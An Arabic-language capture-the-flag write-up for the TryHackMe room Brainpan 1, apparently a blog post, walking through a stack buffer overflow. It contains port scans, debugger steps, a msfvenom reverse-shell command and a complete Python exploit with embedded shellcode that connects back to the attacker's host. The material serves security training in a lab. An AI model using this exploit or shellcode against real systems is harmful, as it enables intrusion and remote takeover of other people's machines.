TryHackMe CTF: Brainpan 1 بالعربي
و بشكل مبسط هي buffer overflow في هذه المشين سوف نتعلم استغلال
خطأ برمجي قد يسبب تجاوز السعة التخزينية المخصصة لمدخل على التعامل مع البيانات المرسلة له، وفي بعض الحالات تعتبر مثل هذه الأخطاء البرمجية ثغرات أمنية تعطي المخترق مساحة لزرع برمجيات خبيثة
ف نحن سوف نستغل هذا المدخل الذي سوف نجده و نرفع شل بواسطته. ولكن قبل البدأ تحتاج أن تمتلك نظام وندوز 7 أو مابعد ولا يهم ان عليه لتستطيع اكمال الشرح Immunity Debugger كان نظاما وهميا ام نظامك الاساسي. حمل اداة
https://tryhackme.com/room/brainpan : رابط الروم
نوع الروم : مجانية
مستوى الصعوبة : متوسط
الأدوات التي تم استخدامها في هذا الشرح
nmap -
gobuster -
netcat -
sqlmap -
Immunity Debugger (on Windows 7 or later) -
nmap كالعادة.. نبدأ أولا بفحص المنافذ المفتوحة بواسطة
└──╼ $sudo nmap -sV -p- --min-rate=1000 10.10.199.246
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-13 14:27 CEST
Nmap scan report for 10.10.199.246
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
نرى أن هناك منفذان مفتوحان فقط على 9999 و يبدو أنه البرنامج الذي سوف نتخطى سعته التخزينية و هناك ويب سيرفر على منفذ 10000
gobuster عندما ندخل صفحة الويب في المتصفح (في حالتي 10.10.199.246:10000) نرى أنها فقط صورة.. ف سوف نستخدم اداة لكشف المسارات المتوفرة
└──╼ $gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.199.246:10000
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.199.246:10000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/09/13 14:38:44 Starting gobuster in directory enumeration mode
===============================================================
/bin (Status: 301) [Size: 0] [--> /bin/]
الذي يحتوي على الاداة نفسها على منفذ 9999. سوف نستخدمها اولا محليا لكي نتفحصها و نعرف كيفية استغلالها /bin وجدنا المسار
Immunity Debugger حملنا الاداة و وضعناها على جهاز وندوز 7 مع أداة
بحقوق ادمن و من ثم نفتح الاداة Immunity Debugger نفتح
file > open
brainpan.exe و نختار الاداة
الان نشغل الاداة بالضغط مرتان على زر التشغيل الذي هو باللون الاحمر و نتأكد بان الاداة شغالة برؤية الذي بالصورة في التيرمنال
الان يجب علينا التاكد انه نظام لينكس الذي نستخدمه متوفر على نفس الشبكة التي يستخدمها نظام وندوز 7 الذي نستخدمه في تفحص الاداة
نجرب
الان تاكدنا انهم على نفس الشبكة 192.168.154.0
netcat الان نشبك على الاداة التي في وندوز و نجرب ندخل قيمة بواسطة
بنجاح TEST نرى أننا ارسلنا القيمة
x الان نبدأ بالفحص.. نعيد تشغيل الاداة (الباينري) بواسطة الضغط على زري الرجوع يمين زر
من ثم نضغط مرتان على زر التشغيل كما فعلنا أول مرة
لنرى اذا 1000 كافية لتحطيم البرنامج A كبداية سوف نرسل 1000 حرف
(crashed) لم يرد علينا البرنامج فهذا دليل كاف على ان البرنامج تحطم
41414141 hex بتشفير A مليئة بحرف EIP (Extended Instruction Pointer) نرى أيضا أن قيمة
هذه القيمة هي التي تأتي بعد المدخل.. وتسمى أيضا بعنوان المرجع و هو العنوان الذي يرجع اليه البرنامج بعد معالجة المدخل.. أي يقع بعد المدخل لهذا فهو مهم في حالتنا هذه لتجاوز السعة التخزينية و زرع برمجيات خبيثة
نريد الان معرفة أين يقع هذا العنوان بالتحديد لان الشل أو البرمجية الخبيثة سوف تكون بعده مباشرة.نحن نعلم الان انه اقل من 1000 حرف فقط. الان سوف نستخدم اداة تابعة ل
metasploit
. لتوليد قيمة فريدة من نوعها تتكون من 1000 حرف msf-pattern_create تسمى
EIP لأن القيمة فريدة من نوعها فسوف نتمكن من معرفة الحد بواسطة الرموز التي سوف تظهر عند
الان كالعادة نعيد تشغيل الباينري في وندوز و نرسل البايلود الذي ولدناه و المكون من 1000 رمز
EIP الان نرى قيمة جديدة عند
offset لمعرفة حد المدخل و الذي يسمى أيضا ب msf-pattern_offset نضع القيمة في اداة اخرى أيضا تابعة لميتاسبلويت تسمى
بعدهم B و اربع احرف A نرى الان أن الحد يقع عند الرمز رقم 524.. نتاكد من هذا بواسطة ارسال بايلود جديد مكون من 524 حرف
(طبعا يجب عليك اعادة تشغيل الباينري كالعادة قبل ارسال شيء اخر)
hex في الB اصبح 42424242 و الذي يمثل اربع احرف EIP كما نرى الان ال
و بهذا تأكدنا بصحة الحد
الان حان وقت معرفة الاحرف الغير مرغوب بها في البرنامج لكي نتجنبها عند صنع البرمجية الخبيثة
mona تسمى Immunity Debugger هذه الخطوة مهمة ولكن قد تكون صعبة قليلا. يجب علينا تحميل اضافة لأدا
mona script وهو سكربت بايثون.. يمكنك تحميله من الرابط الاتي
اتبع التعليمات في الصفحة لتحميله
Immunity Debugger الان بعد التحميل.. اكتب الاتي لتهيئة السكربت في هذا المدخل الذي يقع بالاسفل بأداة
!mona config -set workingfolder c:\mona\%p
من ثم الضغط على انتر. سيظهر كلام باللون الاخضر ليبين لنا ان ما ادخلناه تم تنفيذه
الان نصنع قائمة مكونة من جميع الاحرف لمقارنتها لاحقا باللقائمة التي سوف نرسلها و نرى ان كان هناك احرف قد نقصت ام لا
كحرف \x00 الان مبدئيا سوف نضيف فقط .(bad character) ان كان هناك حرف ناقص فيعني انه حرف غير مرغوب في
null byteغير مرغوب فيه لانه فعلا حرف غير مرغوب فيه بشكل تلقائي في جميع البرامج. هذا يسمى ايضا ب
ففي نفس المدخل اكتب الاتي
!mona bytearray -b "\x00"
لاننا سوف نستخدمه لاحقا c:\mona\brainpan\bytearray.bin لاحظ المجلد الذي انشأه السكربت
hex و جميع احرف B مع 4 احرف A الان سوف نرسل 524 حرف
ف سوف نضطر لاستخدام سكربتbytes لأن هذه العملية تتطلب ارسال
و ضع الكود الاتي به exploit.py انشئ ملف بايثون جديد سمه
#!/usr/bin/env python3
import socket
hostname = "IP"
port = 9999
all_chars = bytearray(range(1,256))
offset = 524
new_eip = b"BBBB"
payload = b""
padding = b""
buffer = b"".join([
b"A" * offset,
new_eip,
all_chars,
])
with socket.socket() as s:
s.connect((hostname,port))
print("Sending the buffer...")
s.send(buffer)
print("Done")
hostname في المتغير IP لا تنسى أن تضع الايبي الخاص بجهاز الوندوز مكان
الان يمكنك تنفيذ السكربت بعد اعادة تشغيل الباينري
لكي ترجع الى الصفحة الرئيسية Window > CPU.... اذهب الى Immunity Debugger في اداة
0028f930 في هذه الحالة ESP الان لاحظ قيمة
<ESP> الذي ظهر عندك مكان ESPبالاسفل الاتي لبدأ المقارنة ولاتنسى وضع ال mona و اكتب في مدخل سكربت
!mona compare -f C:\mona\brainpan\bytearray.bin -a <ESP>
و الذي يشير ان ليس هناك احرف غير مرغوب بها bad characters كما نرى الان, ليس هناك أي شيء تحت
و هي نهاية دالة ليظن البرنامج انه الكود الخبيث الخاص Jumping point الخطوة الاخيرة قبل بدأ انشاء الشل.. هي ايجاد بما يسمى
بنا و هو الشل, أن الكود هذا جزء من البرنامج و ينفذه
mona بسهولة بواسطة سكربت Jumping point نستطيع ايجاد
Immunity Debugger التي نفذناها في mona فقط اكتب الاتي بالاسفل مكان اوامر
!mona jmp -r esp -cpb "\x00"
Window > Log data الان أذهب الى
0x311712f3 و التي هي jumping point سوف نجد
\xf3\x12\x17\x31 في هذه الحالة سوف تصبح B في هذه الحالة. الان نريد أن نكتبها معكوسة مكان الاربع
لصناعة الكود الخبيث الذي سيعطينا شل msfvenom حان الوقت الان لصناعة البرمجة الخبيثة.. سنستخدم
نكتب الاتي لننشئ الشل
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 EXITFUNC=thread -b "\x00" -f c
tun0 ضع ايبي جهازك اللينكس الذي تستخدمه او فقط اكتب <IP> مكان كلمة
الان لكي تعرف كيفية بناء البرمجية الخبيثة.. صنعت ملف بايثون يحتوي كل شي
import socket
ip = "IP"
port = 9999
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = ("\xdb\xc7\xd9\x74\x24\xf4\x5e\xbf\xf2\x81\x4f\x8e\x33\xc9"
"\xb1\x52\x31\x7e\x17\x83\xc6\x04\x03\x8c\x92\xad\x7b\x8c"
"\x7d\xb3\x84\x6c\x7e\xd4\x0d\x89\x4f\xd4\x6a\xda\xe0\xe4"
"\xf9\x8e\x0c\x8e\xac\x3a\x86\xe2\x78\x4d\x2f\x48\x5f\x60"
"\xb0\xe1\xa3\xe3\x32\xf8\xf7\xc3\x0b\x33\x0a\x02\x4b\x2e"
"\xe7\x56\x04\x24\x5a\x46\x21\x70\x67\xed\x79\x94\xef\x12"
"\xc9\x97\xde\x85\x41\xce\xc0\x24\x85\x7a\x49\x3e\xca\x47"
"\x03\xb5\x38\x33\x92\x1f\x71\xbc\x39\x5e\xbd\x4f\x43\xa7"
"\x7a\xb0\x36\xd1\x78\x4d\x41\x26\x02\x89\xc4\xbc\xa4\x5a"
"\x7e\x18\x54\x8e\x19\xeb\x5a\x7b\x6d\xb3\x7e\x7a\xa2\xc8"
"\x7b\xf7\x45\x1e\x0a\x43\x62\xba\x56\x17\x0b\x9b\x32\xf6"
"\x34\xfb\x9c\xa7\x90\x70\x30\xb3\xa8\xdb\x5d\x70\x81\xe3"
"\x9d\x1e\x92\x90\xaf\x81\x08\x3e\x9c\x4a\x97\xb9\xe3\x60"
"\x6f\x55\x1a\x8b\x90\x7c\xd9\xdf\xc0\x16\xc8\x5f\x8b\xe6"
"\xf5\xb5\x1c\xb6\x59\x66\xdd\x66\x1a\xd6\xb5\x6c\x95\x09"
"\xa5\x8f\x7f\x22\x4c\x6a\xe8\x47\x9f\x50\x40\x3f\x9d\x98"
"\x81\x9c\x28\x7e\xcb\x0c\x7d\x29\x64\xb4\x24\xa1\x15\x39"
"\xf3\xcc\x16\xb1\xf0\x31\xd8\x32\x7c\x21\x8d\xb2\xcb\x1b"
"\x18\xcc\xe1\x33\xc6\x5f\x6e\xc3\x81\x43\x39\x94\xc6\xb2"
"\x30\x70\xfb\xed\xea\x66\x06\x6b\xd4\x22\xdd\x48\xdb\xab"
"\x90\xf5\xff\xbb\x6c\xf5\xbb\xef\x20\xa0\x15\x59\x87\x1a"
"\xd4\x33\x51\xf0\xbe\xd3\x24\x3a\x01\xa5\x28\x17\xf7\x49"
"\x98\xce\x4e\x76\x15\x87\x46\x0f\x4b\x37\xa8\xda\xcf\x57"
"\x4b\xce\x25\xf0\xd2\x9b\x87\x9d\xe4\x76\xcb\x9b\x66\x72"
"\xb4\x5f\x76\xf7\xb1\x24\x30\xe4\xcb\x35\xd5\x0a\x7f\x35"
"\xfc")
buffer = overflow + retn + padding + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
TryHackMe استبدله بأيبي الهدف و هو المشين في ip في المتغير IP فقط مكان كلمة
لا تنسى الان الاستماع الى بورت 4444 لكي ننتظر الشل
كل ماعلينا فعله الان هو تنفيذ السكربت.. و حصلنا على شل
الان فقط باقي رفع صلاحياتنا الى روت.. هذا ليس مهم فالمهم هنا هو معرفة هذا النوع من الاختراقات و فهمه.. فسأنتهي هنا
تم
Comments
Post a Comment